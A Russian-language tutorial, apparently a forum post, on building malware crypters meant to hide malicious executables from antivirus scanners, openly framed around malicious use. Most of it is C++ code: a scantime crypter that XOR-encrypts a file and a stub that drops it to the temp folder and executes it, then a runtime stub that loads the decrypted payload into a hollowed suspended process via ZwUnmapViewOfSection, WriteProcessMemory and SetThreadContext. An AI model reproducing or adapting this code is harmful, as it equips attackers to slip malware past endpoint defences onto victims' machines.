В этой статье я постараюсь подробно рассказать о типах крипторов и их устройстве.
Крпиптор - это инструмент, используемый вирусописателями для скрытия вредоносной сущности написанного ими программного обеспечения от антивирусных программ. Криптор, используя шифрование программы, содержащей вирус, маскирует и защищает ее от антивирусного по, которое работает методами поиска по сигнатурам.
Криптография?!
Криптография определяется, как наука о методах обеспечения конфиденциальности и целостности данных.
Поэтому мы криптографию можно описать, как средство скрытия, для предотвращения нежелательного доступа к информации. Большинство из нас видит это, как защитный механизм для воспрепятствования злонамеренного действия. Однако криптография уже превратилась во нечто гораздо большее.
Вы наверно уже разглядели в криптографии потенциал защиты со злым умыслом, те разработку вредоносного по, которое использует преимущества, предоставляемые криптографией. Сейчас подобные вредоносные программы весьма распространены.
Антивирусные механизмы
Чтобы иметь возможность разработать защитную меру против антивирусного по, мы должны сначала определить, с чем мы должны бороться. Я кратко опишу два основных метода, которые антивирусы используют для обнаружения нежелательных приложений:
Обнаружение на основе сигнатур
Как следует из названия, обнаружение на основе сигнатур - это метод, при котором во входящем пакете просматривается байт за байтом и сравнивается с сигнатурой (подписью) – характерной строкой программы, указывающей на характеристику вредного трафика.
Эвристическое обнаружение
Хотя обнаружение на основе сигнатур может предотвратить большинство ранее известных вредоносных программ, оно имеет свои недостатки, поскольку авторы вредоносных программ могут применять уровень защиты от такого подхода, такие как полиморфный(наличие разных ассемблерных форм, для одного и того же кода) и/или метаморфический код (способный мутировать целиком, пересобирая себя по внутренним “чертежам”). Эвристическое обнаружение пытается контролировать поведение и характеристики приложения и ссылаться на него с известным злонамеренным поведением.
Конечно, антивирусное программное обеспечение намного, гораздо более продвинутое, чем это. Поскольку это выходит за рамки моей статьи, и я чисто физически не смогу успеть описать все-все-все в одной статье.
Крипторы
Крипторы предназначены для защиты информации в файле (обычно это своего рода исполняемый формат) и при выполнении могут иметь возможность предоставлять указанную информацию без изменений после извлечения ее с помощью процедуры дешифрования. Обратите внимание, что в то время как крипторы могут использоваться с намерениями спрятать вредоносный, они также популярны при обфускации данных. В этой статье мы сосредоточимся на злонамеренном использовании.
Криптор отвечает за шифрование целевого объекта. После шифрования на выходе получается наш зашифрованный объект и дополнительный сектор зашифровнаного объекта (так называемый stub - огрызок), который обеспечивает извлечение и выполнение указанного объекта.
Типы крипторов
Scantime
Этот тип крипторов получил свое название благодаря способности шифрования данных и дабавлении части на диск, чтобы расшифровать его в дальнейшем на диске при открытии.
Runtime
Он расшифровывает программу в памяти (ОЗУ) и зашифровывает ее снова при закрытии, те дешифровка происходит только по мере необходимости.
Реализация Scantime криптора (c++)
Scantime криптор проще, поскольку он не требует знания виртуальной памяти. По сути, stub деобфусцирует файл, вытаскивая его на диск и выполняя затем.
Начнем... Нам нужно будет определить основные и два условия, которые определяют выполнение криптера или стаба.
Код:
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
if (__argc < 2)
{
// ветка стаба
}
else
{
// ветка криптора
}
return EXIT_SUCCESS;
}
Поскольку мы определяем приложение как оконное приложение, мы не можем получить argc и argv аргументы, как обычно в консольном приложении, но Microsoft предоставила решение для этого с __argc и __argv. Если аргумент командной строки __argс[1] существует, приложение будет пытаться шифровать указанный файл, иначе он попытается расшифровать существующий файл, зашифрованный криптором.
Перейдя на ветку криптора, мы будем запрашивать декриптор указанного файла __argс[1] и его размер, чтобы мы могли скопировать его в буфер для шифрования.
Код:
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
if (__argc < 2)
{
// ветка стаба
}
else
{
// ветка криптора
/* открываем файл для шифрования */
HANDLE hFile = CreateFile(__argv[1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
/* получаем размер файла */
DWORD dwFileSize = GetFileSize(hFile, NULL);
/* шифруем */
LPVOID lpFileBytes = Crypt(hFile, dwFileSize);
}
return EXIT_SUCCESS;
}
Функция Crypt будет считывать содержимое файла в буфер, затем склеивать их и возвращать указатель на буфер с зашифрованными байтами.
Код:
LPVOID Crypt(HANDLE hFile, DWORD dwFileSize)
{
/* выделяем память под буфер, что будет хранить данные с файла */
LPVOID lpFileBytes = malloc(dwFileSize);
/* считываем файл в буфер */
ReadFile(hFile, lpFileBytes, dwFileSize, NULL, NULL);
/* выполняем шифрование методом XOR */
int i;
for (i = 0; i < dwFileSize; i++)
{
*((LPBYTE)lpFileBytes + i) ^= Key[i % sizeof(Key)];
}
return lpFileBytes;
}
Теперь, когда у нас есть зашифрованные байты, нам нужно будет создать новый файл и записать в него эти байты.
Код:
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
if (__argc < 2)
{
// ветка стаба
}
else
{
// ветка криптора
...
/* получаем имя зашифрованного фалйа */
CHAR szCryptedFileName[MAX_PATH];
GetCurrentDirectory(MAX_PATH, szCryptedFileName);
strcat(szCryptedFileName, "\\");
strcat(szCryptedFileName, CRYPTED_FILE);
/* открываем дескриптор нового зашифрованного файла */
HANDLE hCryptedFile = CreateFile(szCryptedFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
/* запись в зашифрованный файл */
WriteFile(hCryptedFile, lpFileBytes, dwFileSize, NULL, NULL);
CloseHandle(hCryptedFile);
free(lpFileBytes);
}
return EXIT_SUCCESS;
}
Обратите внимание, что мы использовали простой XOR для шифрования содержимого файла и если задача стоит на повышении безопасными, мы можем использовать другие алгоритмы шифрования, такие как RC4 или TEA.
Далее для стаба... необходимо получить зашифрованный файл в его текущем каталоге, а затем записать дешифрованное содержимое во временный файл для выполнения.
Код:
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
if (__argc < 2)
{
// ветка стаба
/* получаем цель - зашифрованный файл */
CHAR szEncryptedFileName[MAX_PATH];
GetCurrentDirectory(MAX_PATH, szEncryptedFileName);
strcat(szEncryptedFileName, "\\");
strcat(szEncryptedFileName, CRYPTED_FILE);
/* получаем декриптор файла */
HANDLE hFile = CreateFile(szEncryptedFileName, FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
/* получаем размер файла */
DWORD dwFileSize = GetFileSize(hFile, NULL);
}
else
{
// ветка криптора
...
}
return EXIT_SUCCESS;
}
Затем мы прочитаем содержимое файла и получим дешифрованные данные. Поскольку операция XOR восстанавливает значения, мы можем просто повторно использовать функцию Crypt. После этого нам нужно будет создать временный файл и записать в него дешифрованные данные.
Код:
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
if (__argc < 2)
{
// ветка стаба
/* получаем цель - зашифрованный файл */
CHAR szEncryptedFileName[MAX_PATH];
GetCurrentDirectory(MAX_PATH, szEncryptedFileName);
strcat(szEncryptedFileName, "\\");
strcat(szEncryptedFileName, CRYPTED_FILE);
/* получаем декриптор файла */
HANDLE hFile = CreateFile(szEncryptedFileName, FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
/* получаем размер файла */
DWORD dwFileSize = GetFileSize(hFile, NULL);
/* расшифровываем и получаем дешифрованные байты */
LPVOID lpFileBytes = Crypt(hFile, dwFileSize);
CloseHandle(hFile);
/* получаем файл во временном каталоге */
CHAR szTempFileName[MAX_PATH];
GetTempPath(MAX_PATH, szTempFileName);
strcat(szTempFileName, DECRYPTED_FILE);
/* открываем декриптор для временного файла */
HANDLE hTempFile = CreateFile(szTempFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
/* запись во временный файл */
WriteFile(hTempFile, lpFileBytes, dwFileSize, NULL, NULL);
/* очистка памяти */
CloseHandle(hTempFile);
free(lpFileBytes);
}
else
{
// ветка криптора
...
}
return EXIT_SUCCESS;
}
Наконец, пишем строчку для выполнить расшифрованной программы.
Код:
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
if (__argc < 2)
{
// ветка стаба
...
/* выполнение */
ShellExecute(NULL, NULL, szTempFileName, NULL, NULL, 0);
}
else
{
// ветка криптора
...
}
return EXIT_SUCCESS;
}
Реализация Runtime криптора
Для экономии времени я опишу только стаб, так как это включает более сложный материал, поэтому допустим, что программа уже зашифрована.
Как это работает, стаб сначала расшифрует зашифрованную программу, а затем эмулирует загрузчик Windows, выгрузив их в пространство виртуальной памяти приостановленного процесса. Как только это действие будет завершено, стаб возобновит приостановленный процесс.
Приступим... Давайте настроим две функции: одну для дешифрования зашифрованной программы, а другую - для загрузки её в память для выполнения.
Код:
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
Decrypt();
RunPE();
return EXIT_SUCCESS;
}
Функция Decrypt будет полностью зависеть от используемого алгоритма шифрования... Вот пример кода с использованием XOR:
Код:
void Decrypt(VOID)
{
int i;
for (i = 0; i < sizeof(Shellcode); i++)
{
Shellcode[i] ^= Key[i % sizeof(Key)];
}
}
Далее мы проверим, является ли программа действительным PE-файлом, проверяя сигнатуры DOS и PE.
Код:
void RunPE(VOID)
{
/* проверка DOS-сигнатуры */
PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)Shellcode;
if (pidh->e_magic != IMAGE_DOS_SIGNATURE)
{
return;
}
/* проверка PE-сигнатуры */
PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD)Shellcode + pidh->e_lfanew);
if (pinh->Signature != IMAGE_NT_SIGNATURE)
{
return;
}
}
Создадим приостановленный процесс.
Код:
void RunPE(VOID)
{
...
/* получаем имя файла */
CHAR szFileName[MAX_PATH];
GetModuleFileName(NULL, szFileName, MAX_PATH);
//szFileName может быть полным путем к любому исполняемому файлу
/* инициализируем информацию о запуске и процессе */
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
// требуется установить размер si.cb перед использованием
si.cb = sizeof(si);
/* создаем приостановленный процесс */
CreateProcess(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
}
Далее нам необходимо получить контекст потока для того, чтобы мы могли изменить содержимое содержимое виртуальной памяти данного файла в соответствии с нашими потребностями.
Код:
void RunPE(VOID)
{
...
/* получаем контекст потока */
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.Thread, &ctx);
}
Теперь освободим область виртуальной памяти процесса, чтобы мы могли выделить пространство для нашей программы.
Код:
typedef NTSTATUS (*fZwUnmapViewOfSection)(HANDLE, PVOID);
void RunPE(VOID)
{
...
/* динамически извлекаем функцию ZwUnmapViewOfSection из файла ntdll.dll */
fZwUnmapViewOfSection pZwUnmapViewOfSection =(fZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
/* полый процесс по адресу в виртуальной памяти 'pinh->OptionalHeader.ImageBase' */
pZwUnMapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);
/* распределяем виртуальную память по адресу 'pinh->OptionalHeader.ImageBase' of size `pinh->OptionalHeader.SizeofImage` with RWX permissions */
LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
Поскольку приостановленный процесс имеет собственное содержимое внутри своего пространства виртуальной памяти, нам нужно убрать его, а затем выделить это место в памяти для себя. Мы сделаем это с помощью функции WriteProcessMemory.
Код:
void RunPE(VOID)
{
...
/* записываем заголовок */
WriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, Shellcode, pinh->OptionalHeader.SizeOfHeaders, NULL);
/* записываем каждую секцию */
int i;
for (i = 0; i < pinh->FileHeader.NumberOfSections; i++)
{
/* вычисляем и получаем i-й раздел */
PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)((DWORD)Shellcode + pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i);
/* запись данных секции */
WriteProcessMemory(pi.hProcess, (LPVOID)(lpBaseAddress + pish->VirtualAddress), (LPVOID)((DWORD)Shellcode + pish->PointerToRawData), pish->SizeOfRawData, NULL);
}
}
Теперь мы просто изменим адрес контекста точки входа, а затем возобновим приостановленный поток.
Код:
void RunPE(VOID)
{
...
/* устанавливаем соответствующий адрес точки входа */
ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
/* восстанавливаем и исполняем наше приложение */
ResumeThread(pi.hThread);
}
Готово! :)